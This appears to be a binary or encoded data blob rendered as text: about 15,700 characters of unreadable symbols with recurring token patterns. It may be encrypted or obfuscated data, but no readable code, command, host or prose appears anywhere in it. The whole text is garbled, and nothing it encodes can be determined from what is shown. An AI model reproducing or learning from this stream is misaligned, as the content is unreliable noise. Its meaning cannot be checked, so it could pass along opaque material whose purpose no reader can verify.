GiieG]{ps]piieBBe	{]ii~siioGsGsp\piio
GiieG]{pspiio
Gii{Gs]oGii_]psppiio
GiieG]{ps\o]{]{]ii~siioGsGspB~iiesE~e	psBGpPpsB[o
Giio
GE{Gs]oGii_]psppiio
GiiB]piieBBe	pPpsBB^B^pseBs]G~opsesPoosiispPoosiisp~GpseBsiispIIOiiTiIpiio
GiiBGo]piieBBe	esE]piipsB]G~esE]pii{]{]p]rTGGTLPoosiispoGGo
G{e]eGGo
G{]p]r{]ii~siioGsGsp]piipsB]G~[u[gfAjVej{RaAAA} g[mpg[{]ii~siioGsGspE[^ii]pii{]{]s]\esiios]oGpii{BBiieBBe	iip]~~o	~]piipsB]G~B~iiesEiie[PeptiioupgbufjSejrAjVQ[RaAAA} mbpgm[B~iiesEiie[u`M~ro~r]G{es~rGoBppmupgquu`MfCqRgu`MfCqRgmgmmq[p_[_ufAjVej{jwRN m[Esr^
~\{
aAiir|V[u`M~ro~r]G{es~rGoBppmupgbuu`MfCbRgu`MfCbRgmgmmb[ppsBiiBeb]piipsB]G~~rpsBoppsBopB~iiesEiiepsBop]piipsB]G~]piipsB]G~[[gnOyMuQQQmng[[pPpsB]piipsB]G~[gn[CfejrjSAjViiMRQ[pPpsB[gnTGGTLiiIYcMpsBGsEii[[gnOiiZiiWITYMfejrjSAjViiRgMng[[]piipsB]G~OiiZra
tk\sG_eEN\	rOiicc]^^	
A^ttpVr|]piipsB]G~[[[OiiZiiciifej{AjViiRQB`GfCGRg[~^tpk]p\zaz]|Oiicc]piipsB]G~sEii[[gnOiiZiiWITYMufejrjSAjViiMRQmng[[[[gnOiicciiWITYMufejrjSAjViiMRQmng[[piipiieGeB	]piieBBe	piiEepEii^epjjF{Gs]oGii_]pspP]Gs]{Gs]oGii_]psp]spsB]ps]sB]p]speGeB	Peii
B]sii{e][sEPiiPePeii
B]sii{e]s]sB]poGs]sppiieGeB	G	oeiio	PGa
iiBosii~sB]Bs]oGGojpsoB}nGojeEUBe~e{Gs]oGii_]pspTGGTL]pii
iiBBoB
iiBosiiBsB]iiBpoGpiio{Gs]oGii_]psp
iiBosiiBsB]iiPo	{]ii~siioGsGsp]pii{]~siios]oG]spsp{eps~]ii{]G]pEiiB^ps]spii{]G]pEiiB^ps]spii{]G]pEiiB^ps]~GoBiipBiiePoBs]~GoBiipBiiePoBs
iiBosii~s
jo~]GEs]GB]{]iin`piiBe
BGoLiiB{Gs]oGii_]pspBoPeii\AAn]sppsBopHDjjOlMjjFpsBoppiiBoPeiio~]G\AAn]spP]Gs]PiiP]G]sp]piipsB]G~psBoppiiPiiooGo]piipsB]G~psBopiipii{eOiiZiiWITYpiiOOZiaMOyM[Oiiu`McWcymiiWITYMuQQQm[p
GsBe]rii{oB]~Giip]nTGGTL{]iisiioGsGsp{]ii~siioGsGsppsBGB~iiBe[fnsRg[gnOiiucWcymiiWITYMufejrjSAjViiMRQmng[g`[gnOiiaiiIYcMNng[fnsRgB`G`[p]piipsB]G~{]s]poeEii]Ge]es]piipsB]G~[]pii{]upgbufCbRQmbpgm[]piipsB]G~WOUZ]BGePii{oB]~Giip]npBBii	oOBl	jWOUZ[
joG{]~E]pii{]]pii{]]pii
B]sePBeesE]pii
B]seP{]p]r{]ii~siioGsGsp]piipsB]G~UiioBiiTGs~B]s	[s[EpsBopUiiIiUiicTpiisii{]_p	pii~siisii]Bp	pii~siisii]B[s]pii]B]pii
B]seP[{]GpgupgfbqRUiiZIfbqR[{]ii~siioGsGspOiicyiiWITYMpsBop[{]GpgupgfbqRWOUZfbqRfCGRgG{]GunbUiiZIb}nsBnmdG[[{]GpgupgfbqRUiicIWfbqRpg}pgsBpgm[][{]GpgupgfbqRUiicIWiifbqRpg}pgsBpgm[]B~iiesE[{]GpgupgfbqRUiicIWiicTOUXfbqRpg}pg{eppgm[][fnsRg[gnUiioBiiTGs~B]s	nufej{AjVRQmng[g`[gnIGjUiioBiiTGs~B]s	nang[fnsRgB`G`[p]o[fnsRg[gnUiioBiiTGs~B]s	nufej{AjVRQmng[g`[gnIGjUiioBiiTGs~B]s	nang[fnsRgB`G`[pB~iiesEiieTGGTL[CfnsRg]{pgupgD`pg{]ii_]pspupgb[s[EfjSejrAjVRQbfCGRgGufnsRg]{pgupgiioLLfCGRgGm`[B~iiBe[{]GpgupgfbqRWOUZfbqRfCGRgG[[u{]GpgupgfbqRWOUZfbqRfCGRgGm[a]piipsB]G~B~iiesEB~iiBe[u{]GpgupgfbqRWOUZfbqRfCGRgGm[aB~iiBe[u{]GpgupgfbqRWOUZfbqRfCGRgGm{]GunbUiiZIb}nsBnmdG[[CfnsRg{]GpgupgfbqRUiicIWuiiiicTOUXm`fbqRpg}fCGRgG[]B~iiesEB~iiBea]piipsB]G~
[u{]GpgupgfbqRWOUZfbqRfCGRgGm{]GunbUiiZIb}nsBnmdn[gnOiing[G[ap
Eo[bu[s[EfjSejrAjVRQmb[psBopsiios]oG[os]oGiiGepgpgbufCbRQmb[eBBe	iiG]^[Ciip]siisBeGp]GsiiuEesE{miifej{AjVRQ[UiiYIYiicT[j~]Gp{Gs]oGii_]psp~oP]pii]B[g[gE[pii[oBii]pii{]BeesEBeesEOyMB~iiesE[[gnOyMuQQQmng[[{oB]~Giip]nPepGeoeEii]Ge]esPepGe~oP~oP[g[{Gs]oGpE]pii{]TGGTL{]p]rpsBopOiiZiiWITYpsBopOiicciiWITYOiiZiiciisiios]oGopP_BVEosEP]N
~
VzBrzGiiii_PaB~BNa	\PE^\sVrta{Gs]oGii_]pspriiNrrts	reB
GNNGopiiPoosiisPoos~e	iiseoB{Gs]oGii_]pspsp]piieBBe	B~]psBiipEso
Gii{Gs]oG]GM[Esepp{Gs]oGii_]psppBii]G]{]Ge]piipsB]G~BBsB]]GM
joPsjeEjpiiBp]psiieG]{pspsesp]rs]B~iiesE[BuQm[pPpsBpPpsBpPpsB]pii{]{]p]r]pii{]{Gs]oGii_]pspE[PE[{Gs]oGpEBpPpsBABTGGTLBp]psP]~M{]ii~siioGsGspEsEE[eeGjeEEOiicW{]ii~siioGsGspB~iiBe{]ii~siioGsGsp[OyMQQQ[pPpsBpsBop[G`[gnOiiiiWITYMufejrjSAjViiMRQmng[g`[gnOiiiiIYcMang[G`[p[eE[oep[g[g[~oP[sEp[g[
j]Gp[~oPgE
j]Gp[~_ii]Ge{Gs]oGii_]psp~oP~ii~pii~ii~ii~sii~ii~ii~pii~Bii[~BiigEEsepp{]ii~siioGsGspesoiiBGii{][G`HT{ionoiiEfAjVRgFpgEiienesoiiBGii{]fCGRgfCGRgGH[T{ioFG`[][G`EiienesoiiBGii{]fCGRgfCGRgG`[]]piipsB]G~
joG{]~E]pii{]]BGe[
joG{]~EOiiTGGTLB~iiBe[fnsRg{]GpgupgfbqRUiiZIfbqRpg}pgsBpgmpgdpg[gnOiing[fnsRgB`G`[{]s]pBii]G]{]GepB]G]{]ii~siioGsGspB~iiBe[esoiiBGii{]pggB~ii^osgG[]eBBe	ii]{{]pii{]OiiZ~^tpk]p\zaz]|Oiicc{sopEoiis{Gs]oGii_]psp~siios]oGpiieGeB	]piieBBe	]sp]piieBBe	]sppiioiiesiiopiiEsiier~

t\rkeoaspii~eB{Gs]oGii_]psp
iieBiipEiiEoo|	stktVa|~BpiiBoGii~eB]Ge]esEpsBGPii[gnOiicWiiWITYM[gnOiicWiiIYcMPii[[gnOiicWiiWITYMufejrjSAjViiRgMmng[g`[gnOiicWiiIYcMang[[ppsBopOiicWiicIcB~iiBe[fnsRg]{pgupg{]GpgupgfqbROiicWiicIcfqbRpgmpgmpgBsBGpgdfCBGRg[OiicWii\Piispiiepsii{sEiispPiisii]pp]G~TGGTL[CH`Epg[psBGeGeB	iieBii{e]
joGsGs[sEp[~siios]oG[sEiisEeG]pEiiBpsoBpiisEiieWOUZpiisEiie[gnOiiZiiWITYMng[[gnOiiZiiIYcMOiiZiipPpsBEsEiisii]pp]G~B~iiBe{osE{Gs]oGii_]psp{o[sEiiPesEiiGkzzarsA|B~iiBe[[[OiiZiiciifej{AjViiRQB`GfCGRg[sEBii{e]psBopOiiZiiWITYOiiZiiciioBEeG]piipsB]G~H`BsB]psBGr]EpBiis	S]BE][oep[esX[[UiiYIYiicT{]ii_]psp{]p]rTGGTL
iiG_siipEWOUZEoB	s]pii~eBii]GsBeBoGiips
ss{o	^NPGP|z~|]
j]Gp]pii{]{]s][~_ii]pii{]s]]pii{]\ii{]pii~eBBoGii~eBWOUZ{]p]r
ii|]p]k]E\k]piipsB]G~ospsBG{Gs]oGii_]pspes]ii~]Gp]GiieBBe	es]ii~]GpEB~iiesEpPpsB\BoGiiB]Gps]pii{]ZU[aanAnYosnwoG{Gs]oGii_]psp~siios]oGesiios]oGGos]GoB~iiesE[Cpgu`Mu[g[[eBnsnoGpsn{Gs]oGnp{m[[CfjSejrAjVQ[BGRQ[psBGpsBGoGsGsj	Mne]es]oG[eepB]sOB]joBBjo
Mn[ZU[aanNAnYonoGsGsp
iioG{]~TGGTLZUiiTwiiYYIiiiZZU[aanzAnYosnio]{]Ie~MnOB]joBBjo
Mn[eEjoGsBoMnGojeEIe~Mnp
iipiiB]{	]piipsB]G~{Gs]oGii_]pspEoiiBeBpiiB{Gs]oGii_]psp~siios]oGp]sBZUiiZO]piipsB]G~[MQ[B]{	piipeGs]iiBoPoGsGsj	Mns_s[e]GeEjoGsBoMnGojpsoBOiiOIiM\OiiOIiiiwTB]{	ii{Gs]oGii_]pspBosiieGiioe]G
zsii{pEiiep~iieEBppiiB~iieE]spiiB~iie]sOiieEiiUT]sOiieEiiUTB~iieWBriiUB~eEsEoii_]pspPBriieEii{pEsEoii_]pspeBiisoseiieE
{iieBiieiieE]piioPsseE
iieEiieBiieEesos]]reEesos]]reEeBeB~iioGiipiiEeG~]piie]G
iio]G~iiee_IOiiIIOTGGTLhiUiiIIO]pii{]piiBoPosp]piip]sep]piipso]riiB]
GsoBjB]
pso]riiEeG~psii]{iiP]BpsBiiBeH[pB]sH[pB]sEoiiB{Gs]oGii_]psp~siios]oGesiios]oGpiipiiB]GsiiGospiipiiB]GsiiGoss]piipiiB]GsH[Po	FHEspiipiioP]piipsB]G~piippiipoPiipseBs_|N	G]kae|tPVke~Go
e~Go

jo~]GEpiip
iiepsiiBHpB]snesejpjeBn{Gs]oGuEmeBnBqq}]d{oBu]Ad]HEG~sEd]QNmBQOsB]G~{BoEeBoueBpTGsuEpPpsBu]}Nm}atmmdBsBGnB }p
Ge]~esoBfuqpB]oBBqmR}]{up
mp
fuq~s~]psBes]oGpqmRumsEGu{Gs]oGuBpmBp{oBIeEu{Gs]oGuBmeBnDd]{uDmfuqes]qm}uq
e]s]G~]Gpse]G~qmR{oBIeEu{Gs]oGum]{uBfRLLBfRfuqpB]sqmRma md]{umBfuqGB~]psBTGGTLqmRum m mfuqesEqmRu{Gs]oGum mH[pB]sFpsBiiBe{Gs]oGii_]pspeBpiiBBsB]HpB]snesejpjeBn{Gs]oGuEmeBnBqq}]d{oBu]Ad]HEG~sEd]QNmBQOsB]G~{BoEeBoueBpTGsuEpPpsBu]}Nm}atmmdBsBGnB }qmRd]{up
mp
fuq~s~]psBes]oGqmRupoGiiGosEGu{Gs]oGuBm]{uDBmp
fuqB~]psB}poM mfuqesEqmRu{Gs]oGum m mfuqesEqmRu{Gs]oGum mdeIGs]psGBqmRuuqppe~qm}{Gs]oGumeBnfuqeseqmRd]{uLLmsB	G
nwGs]oGuesoPummum esEu_m   mdBe	qmRsEGu{Gs]oGuBmBfuqqmRfuqopsippe~qmRusMqBq m m p
iiB~{]s]{]ii~siioGsGspUiiYIYiicT~oP~oP]piieBBe	]piieBBe	pPpsB]piieBBe	]pii]BTGGTLpPpsBE{]s]{]p]rpsBopB~iiesEoeEii]Ge]esp
PepGeo{{PepGeE[pii]BGej~]Gp~siios]oG]BGePepGe{Gs]oGii_]pspes]iip]s
]ii~]Gp]BGe[Peii_ooGsG]G{Gs]oGii_]psp{]iisiioGsGsp{]p]resEBeesE{Gs]oGii_]pspEpPpsB\piiPoosiiBpiiPoosiiBFpiiPoosiisOiiIiiWOUUIcpiiPoosiisOiiIiiWiiyIpseBs]G~iieoVGo|	poEsAAG]|pE\~z|_\	_]^V	UZTYwiiIhIYOTY~tGasp~VNiistB

pG{VB~]psBiipEso
Gii{Gs]oGB~]psBiipEso
Gii{Gs]oGe_AsGsP
{BrpEVoe]s\o~piiG~{TGGTLPepGesB]{]ii~siioGsGsp]BGe[PsiiEo{iiG]G_{\\aBraV\aE~{iiB\iiBoAoej~]GpEe]Gii]G]s__s	N~zPoNok	s]BP_k	eAEBtBNk^	Pk{^Vo{{o]\Bp]zzV{
{ii{]GBiioGGsoBiiosp{	p
iip_skpA_sii\
ii{]iieGe~BiioGGsoBiiosp{]GBiioGGsoBiiosp{	p
iip_skpA_sii\{]iieGe~BiioGGsoBiiospesEGs]es^^{^pBzaaEp	k	~
iio~]G
e]_ea_rt~NpBiipBii^B	iieA{_A	tz{^_BpsiipBii^B	zs~_{GiiN|N|_B
]
piipBpzP~VtaErP~ii]G{oBes]oG
]|Ve~A^~k^]k~~\apEo
iieeGii~]GpeG
so^zGP\VPrp~e]GiiEej~]GpEPii{iiktk{a~Aop]siisBeGp]Gsiiesii~]Gpe]ap
k
o|^
o_iieii~]Gp
iiee_iiii{]ii{oBiieGe~B^apt	PGBV
iiee_iioGGsoB^apt	PGBV
iiee_ii{piioGGsoB^apt	PGBV
ii{oosBppt~G\BPt]sesiiB]BsTGGTLp|t{G
^GzNBNt]e]Gii{oosBEzzNppsN]]o~]Gii{oosBEzzNppsN]]_NGr	Asep	\^\rGP{	tazPG	z]B
s

\o~s|see\ii	ii~EAAGBs_se]	

NropE_Vaii


P	Ppa^__s	N~zPoNokV~r\^{BV_a|p~]Gpiioer~

t\rkeoastpVBAp|o{VakBeP
GB~P^aaPk]e
BVP\Ba\G

VB{P]~^\p~siios]oG{Gs]oGii_]pspV	V{	r_N~NABAiizp_asVVz
~^k]Ep~^~G]toN_p{Gs]oGii_]pspesiios]oGpiiepsiiBoB	iiEpiiepsiiBoB	iiEs]NBP
NV

V^BoGiipEp^]es{oBPBsrtV]Ekp~]GpiioeHGPA@G[Tn\hHS@[VA\Z[WW]YL^QYEQ[Y\NP^D @Y_\LOY\A\Stwfea}FVjCPGZEY@R\[WTXby`r|{qgx^Q]ALvzpBiiSMcsd~iD	
O mlo_NnHhIkUuAWOUZpiiBozN~]GPeTYci[jEs	I
{_gnyMuQmwlb}A^H`rFVk\a|thXSdqf RLDC@xvGSZG__	FAGYP[P_NEFAGEZFAPn_hGESTYFP
Pn_hSnEhHGPA@G[GHS@[VA\Z[\RGWQZ[WSVF\NGPA@G[WW]YL^QYEQ[Y\HS@[VA\Z[\BjCDOETLDWOR\NGPA@G[WW]YL^QYEQ[Y\HS@[VA\Z[OLX^FPPZQA\N_\GPA@G[WW]YL^QYEQ[Y_H??S@[VA\Z[BA TMMBQPFMYGj\_FNMYGj\_F\FFPAMYGj\_F
MYGj\_FGPA@G[MYGj\_FH?S@[VA\Z[O\CA F XPPQQWFX[]]@_\\TN]]@_\\T\FFPA]]@_\\T
]]@_\\TGPA@G[]]@_\\TH?????QPS\[PQ\BjCDOETLDWORZGPM\A??S@[VA\Z[BRW^TOAOBRZT[TBSA?N?GPA@G[\FFPAryzwtyfn\RGWQZ[WSVFh
ryzwtyfnOLX^FPPZQAh\BjCDOETLDWOR?H?S@[VA\Z[GFWPOXC?N?GPA@G[jjs|ypjj??H?S@[VA\Z[\^F] R@M @LM\YDVL?N?GPA@G[WW]YL^QYEQ[YGFWPOXC?H?S@[VA\Z[DB]G OWSOTG?N?\SWW]YL^QYEQ[YWW]YL^QYEQ[Y GPA@G[EY@R\[jWTFP[TXPGFWPOXC??QPDXZTSXXWEGFWPOXC???RXXARQBG@M^ QPS\[PQWW]YL^QYEQ[Y
bejey`r|{jq|g?\SRXXARQBG@M^ \RGWQZ[WSVFQPDXZTSXXWERXXARQBG@M^ GPA@G[\BjCDOETLDWOR\BjCDOETLDWORQPDXZTSXXWEOLX^FPPZQARXXARQBG@M^ ?GPA@G[\RGWQZ[WSVF\BjCDOETLDWORQPDXZTSXXWE\RGWQZ[WSVFQPDXZTSXXWE?H?S@[VA\Z[@jVTZ[PZCCL^FZ]A[?N?@[]ZZ^FAGZ[RRTAPBTL????GPA@G[WW]YL^QYEQ[YQPS\[PQOLX^FPPZQA
bex`jey`r|{jq|gbejvz{ap{ajq|gOLX^FPPZQA ????H?S@[VA\Z[[YPWDY^CR\Q\@ ?N?GPA@G[WW]YL^QYEQ[YGFWPOXC?H?S@[VA\Z[j[M^MFYLR_STTQPG[P]ZYOC_ FX[SEE_SZVZ_S@ STYFP?N?GPA@G[WW]YL^QYEQ[YWW]YL^QYEQ[Y
uWW]YL^QYEQ[YPG[P]ZYOC_ FX[SEE_SZVZ_S@ STYFP?H?S@[VA\Z[DDAPGjYE_B@SFOFC\VPSYWSTOX[\GZC_ FX[SE????N??GPA@G[\RGWQZ[WSVF\BjCDOETLDWOR
u\RGWQZ[WSVFSYWSTOX[\GZC_ FX[SESTYFP?H?S@[VA\Z[\LYGF@GDVCLPD[SYWSTOX[\GZ?N?XZ[ZXZGE]\OPBZG^D@P@PSZGberGZ@EwYZV^?VLE_jCSFWGEe}ej|{ajxtme}ej|{ajxtmYj__L@W@L[VLE_jCSFWGE ?GPA@G[OLX^FPPZQAOLX^FPPZQA
u\RGWQZ[WSVFSYWSTOX[\GZSTYFP????H?S@[VA\Z[V^]@[\jMVLRAQASYWSTOX[\GZ\FRGDWWME???N??GPA@G[OLX^FPPZQAOLX^FPPZQA
u\BjCDOETLDWORSYWSTOX[\GZ\FRGDWWMESTYFP?H?S@[VA\Z[P_Y^QVA^YSYWSTOX[\GZ???N????V_jjE\DQBE@PB]OM@L]P@\S?GPA@G[V^]@[\jMVLRAQASYWSTOX[\GZV_jjE\DQBE@PV_jjE\DQBE@P EG_MOYQX_C?H?S@[VA\Z[]GYC O_WB@j^E[GOW^@\ACAE]YQFW?NO EFSXYWEjTPQDTEYO EFSXY?GPA@G[OLX^FPPZQA\RGWQZ[WSVF
uOLX^FPPZQA[GOW^@\ACAE]YQFWSTYFP[D\GA_AVQ_W[[PXSE[D\GA_AVQ_?H?S@[VA\Z[SZO@BRBG\MT[GOW^@\ACAE]YQFW?N?GPA@G[\BjCDOETLDWOROLX^FPPZQA
uOLX^FPPZQA[GOW^@\ACAE]YQFWSTYFP?H?S@[VA\Z[VjG[VQQ]E@^jVMPG[P]ZYOSYWSTOX[\GZ?N?GPA@G[\RGWQZ[WSVF WW]YL^QYEQ[Y
u\RGWQZ[WSVFPG[P]ZYOSYWSTOX[\GZSTYFP???H?S@[VA\Z[P_MBXCRjZVYRGOZ??N?FATA\VC@Y^\SOADROCT[@YY?\SC@Y^\SOADROCT[@YYGPA@G[C@Y^\SOADROCT?C@Y^\SOADROCTOLX^FPPZQA \BjCDOETLDWOR
\RGWQZ[WSVFOLX^FPPZQARGTR[ZQj@ ^CD MX]XR_RGTR[ZQj@?\Su\BjCDOETLDWORC@Y^\SOADROCTuWW]YL^QYEQ[YC@Y^\SOADROCTGPA@G[C@Y^\SOADROCT?\XFRSE]QPS\[PQ\BjCDOETLDWOR
bejvz{ap{ajq|gQPS\[PQ\BjCDOETLDWOR
twfeta}\RGWQZ[WSVF?\S\XFRSE]N?QPDXZTSXXWEWW]YL^QYEQ[Y\XFRSE]\RGWQZ[WSVFOLX^FPPZQA ?\Su\BjCDOETLDWORQPDXZTSXXWEu\BjCDOETLDWORQPDXZTSXXWE AG@P??\SuOLX^FPPZQAQPDXZTSXXWEuOLX^FPPZQAQPDXZTSXXWEN?\S\BjCDOETLDWOR \RGWQZ[WSVFuE@AP[CWW]YL^QYEQ[YQPDXZTSXXWE?ryzwtyfn\BjCDOETLDWORh?C@Y^\SOADROCTQPDXZTSXXWE?H?H???GPA@G[C@Y^\SOADROCT?H?S@[VA\Z[TTL@CGjOTW[OPX?N?PG[P]ZYO[YPWDY^CR\Q\@ ?C_ FX[SE@jVTZ[PZCCL^FZ]A[?e}eS\WPGFFPAA\[RFFPVA\Z[??\SPG[P]ZYOC_ FX[SEGPA@G[AG@P?\SWW]YL^QYEQ[YOLX^FPPZQAN????\A]ARRRAYXCVuOLX^FPPZQAPG[P]ZYO????TAY_MO\L@TGuWW]YL^QYEQ[YC_ FX[SE?GPA@G[\A]ARRRAYXCVSTYFPTAY_MO\L@TGSTYFP\A]ARRRAYXCVTAY_MO\L@TG?H???GPA@G[STYFP?H?S@[VA\Z[EG_MOYQX_C?N?GPA@G[?H?S@[VA\Z[BOCWVPQZYjY?N?\SQPS\[PQ\RGWQZ[WSVFGPA@G[??\XFRSE]QPS\[PQOLX^FPPZQA
bejvz{ap{ajq|gtwfeta}\BjCDOETLDWOR?GPA@G[\BjCDOETLDWOR\XFRSE]OLX^FPPZQA\BjCDOETLDWOR\RGWQZ[WSVF\BjCDOETLDWORtwfeta}\BjCDOETLDWOR MM\BjCDOETLDWOR\BjCDOETLDWOR\RGWQZ[WSVFtwfeta}\BjCDOETLDWOR k\RGWQZ[WSVF?H?S@[VA\Z[W\BEGR]_@SWAB[EY]B_VYR[LM[@YY?N?SYWSTOX[\GZBOCWVPQZYjY?\SSYWSTOX[\GZGPA@G[STYFP?\SWW]YL^QYEQ[YEY]B_VYR[LMIIOLX^FPPZQAEY]B_VYR[LM	EY]B_VYR[LMPOMML[MC\GXB?\SEY]B_VYR[LMIICOQ [GQ\DVjWVOW@EY]B_VYR[LMGPA@G[STYFP?PG[P]ZYOOLX^FPPZQASYWSTOX[\GZ???\SuWW]YL^QYEQ[Y PG[P]ZYOj[M^MFYLR_STTQPG[P]ZYO AG@P?\Su\BjCDOETLDWOR PG[P]ZYOIIuOLX^FPPZQAPG[P]ZYOGPA@G[STYFP?\SuOLX^FPPZQA SYWSTOX[\GZN???\SOLX^FPPZQA_Bj\F\@\] _^_PFAG\[RuOLX^FPPZQA SYWSTOX[\GZ\BjCDOETLDWOREY]B_VYR[LMGPA@G[AG@P?_TDQCGV^BC]MD]XTOLGZMjYOATX[EAAR_ \SYWSTOX[\GZ?\S_TDQCGV^BC]MD]X[@YYCPGF\Z[jVZXETGP_TDQCGV^BC]MD]XBRW^TOAOBRZT[TBSAGPA@G[STYFP?@[FPA_TDQCGV^BC]MD]X?H?\SFWDSWO@V[[ CFM_\MESYWSTOX[\GZEY]B_VYR[LMGPA@G[STYFP?DDAPGjYE_B@SFOFC\VPSYWSTOX[\GZ?YTS^L]AS]jTSYWSTOX[\GZ?GPA@G[AG@P?H?S@[VA\Z[RV]WYRFLXTCOXC]R?N?EY]B_VYR[LMPOMML[MC\GXB????\SEY]B_VYR[LMIICOQ [GQ\DVjWVOW@EY]B_VYR[LMGPA@G[STYFP???QCDDTE_B_COL\BjCDOETLDWORGFWPOXCOLX^FPPZQAT  _YCBQCe}ej|{ajxtme}ej|{ajxtmB@RYET  _YCBQC?CSROQS\BjCDOETLDWOR \RGWQZ[WSVF 
@LQDMF@XQVCA@STQPS\[PQOLX^FPPZQA
bejvz{ap{ajq|g?\SCSROQSGPA@G[STYFP??RXXARQBG@M^ CSROQSWW]YL^QYEQ[Y  QCDDTE_B_COL?XRPDVRWFW_RFRXXARQBG@M^ QCDDTE_B_COL\RGWQZ[WSVF???O_PS_OFW CPY\STYFP?\S\RGWQZ[WSVF \BjCDOETLDWORN?_[ XDQQuOLX^FPPZQAXRPDVRWFW_RF?FGDXRj@D[OX^uOLX^FPPZQA GFWPOXC?O_PS_OFW CPY\\BjCDOETLDWOR_[ XDQQ\BjCDOETLDWORFGDXRj@D[OX^_[ XDQQFGDXRj@D[OX^??H?\SO_PS_OFW CPY\N?\SuOLX^FPPZQA RXXARQBG@M^ j[M^MFYLR_STTQRXXARQBG@M^ AG@P????\Su\RGWQZ[WSVF RXXARQBG@M^ IIu\RGWQZ[WSVFRXXARQBG@M^ GPA@G[STYFP@_[GSBDXe}ej|{ajxtme}ej|{ajxtmCT]DEEPQ@_[GSBDX?\Su\BjCDOETLDWOR XRPDVRWFW_RFIIOLX^FPPZQA _Bj\F\@\] _^_PFAG\[Ru\BjCDOETLDWOR XRPDVRWFW_RFOLX^FPPZQA EY]B_VYR[LMN?\SuWW]YL^QYEQ[Y XRPDVRWFW_RFN?_TDQCGV^BC]MD]XTOLGZMjYOATX[EAAR_ \XRPDVRWFW_RF?\S_TDQCGV^BC]MD]X[@YYCPGF\Z[jVZXETGP_TDQCGV^BC]MD]XBRW^TOAOBRZT[TBSAGPA@G[STYFP?@[FPA_TDQCGV^BC]MD]X?H?ZEA\XTYGPVZGQYTLPG?????\SFWDSWO@V[[ CFM_\MEXRPDVRWFW_RFASXDZZS^@LTP^ Z[BEY]B_VYR[LMGPA@G[STYFP?DDAPGjYE_B@SFOFC\VPXRPDVRWFW_RF??P_Y^QVA^YXRPDVRWFW_RF?YTS^L]AS]jTXRPDVRWFW_RFX_DY TjZe}ejxtzgjcpgf|z{jG_PTW[X_DY TjZ?H??H?\S\BjCDOETLDWOR \RGWQZ[WSVFWW]YL^QYEQ[Y\RGWQZ[WSVFN?GDCWY MOVVZQCDDTE_B_COLQCDDTE_B_COLWW]YL^QYEQ[Y?M]TOBAVPjFL_RPAjZEA\Z[\RGWQZ[WSVFTGGTL?\SOLX^FPPZQAM]TOBAVPjFL_M]TOBAVPjFL_TGGTL?\S\BjCDOETLDWOR GDCWY MOVVZM]TOBAVPjFL_AG@PN?M]TOBAVPjFL_nhGDCWY MOVVZ???@EQTAPjZEA\Z[\RGWQZ[WSVFWW]YL^QYEQ[YM]TOBAVPjFL_?H?H????GPA@G[AG@P????H?S@[VA\Z[TOLGZMjYOATX[EAAR_ \SYWSTOX[\GZ?N?QCSBSC@GuOLX^FPPZQASYWSTOX[\GZSTYFP[@YYMQMQ?\SWW]YL^QYEQ[YQCSBSC@GGPA@G[[@YY?\S\RGWQZ[WSVFWW]YL^QYEQ[YQCSBSC@GC_ FX[SEGPA@G[C_ FX[SEnh?GPA@G[[@YY?H??S@[VA\Z[MP\jVPBYBFQ^SCVZYBOMPYTZXLL^A[GMXTCRVR?N?GPVZ[V\YP@[\ATGLZWFPGCPG??uVYPTGFATAVTV]PAG@PVZYBOMPYTZ???B[FDCCZu\BjCDOETLDWORVZYBOMPYTZ?\SB[FDCCZIIB[FDCCZEG_MOYQX_CN?bew@AAZ[wYZV^TVD@\GPGTQ\MAGPP??GPA@G[STYFP??H???]]XYYXLRAAPZuOLX^FPPZQAVZYBOMPYTZ?GPA@G[]]XYYXLRAAPZ]]XYYXLRAAPZXLL^A[GMXTCRVR?H?S@[VA\Z[]P MZD^\[\BD????N?GPA@G[ ?H?S@[VA\Z[O[BXODBGCP?N?GPA@G[\BjCDOETLDWOR?H?S@[VA\Z[TFFGjR\  O\^FD?N?GPA@G[\BjCDOETLDWOR?H?S@[VA\Z[YQXB TR_DSWBM???N??\S\RGWQZ[WSVF\RGWQZ[WSVF GPA@G[AG@P?\S\XDB^YMGT_TB ^GPA@G[AG@P?S @_DBLFVQC\FFPAjfpgcpgnWW]YL^QYEQ[Yh
\BjCDOETLDWORFAG\[RjfpgcpgnOLX^FPPZQAh?\SS @_DBLFVQCWW]YL^QYEQ[YS @_DBLFVQC\BjCDOETLDWORSTYFPII\RGWQZ[WSVFS @_DBLFVQC\RGWQZ[WSVFSTYFPII\BjCDOETLDWORS @_DBLFVQC\RGWQZ[WSVFSTYFPGPA@G[AG@P?\SS @_DBLFVQC\RGWQZ[WSVF\BjCDOETLDWOR\FFPAjfpgcpgnOLX^FPPZQA hGPA@G[AG@P?GPA@G[STYFP???H?S@[VA\Z[\XDB^YMGT_TB ^?N@WGOQe}ej|{ajxtme}ej|{ajxtmMXZMCFV_\@WGOQ?S @_DBLFVQC\FFPAjfpgcpgnOLX^FPPZQAh
jfpgcpgn\RGWQZ[WSVFh??GPA@G[WW]YL^QYEQ[YS @_DBLFVQCFAG\EZFS @_DBLFVQCWW]YL^QYEQ[YSTYFP?H?S@[VA\Z[ZG^\]W]FX]XjA]O[YM^_VP?N?SR_DM\YC_jEXXY\BjCDOETLDWORWW]YL^QYEQ[Y
uOLX^FPPZQAOLX^FPPZQASTYFP???\SSR_DM\YC_jEXXYIISR_DM\YC_jEXXYGPA@G[AG@P?W XQVWZWOuWW]YL^QYEQ[Y[YM^_VP?\SW XQVWZWOW XQVWZWO[YM^_VPYB@OE[jCCPP@DYTQMMFZYB@OE[jCC
YB@OE[jCCYB@OE[jCC??SZGPTV]\BjCDOETLDWOReta}jfpetgtazgSR_DM\YC_jEXXYTFGE^Y^@VFN?GE^Y^@VF\BjCDOETLDWORGE^Y^@VFWW]YL^QYEQ[Y?\SGE^Y^@VFW XQVWZWOGE^Y^@VFII\RGWQZ[WSVFW XQVWZWOGE^Y^@VFq|gpvazgljfpetgtazgGPA@G[AG@P?H?GPA@G[STYFP?H?S@[VA\Z[PWCA[CWjOGV[E^METFX??N?SM\FEW  j@G^[E^METFXIQPS\[PQ\BjCDOETLDWOR
qwj{txpIQPS\[PQWW]YL^QYEQ[Y
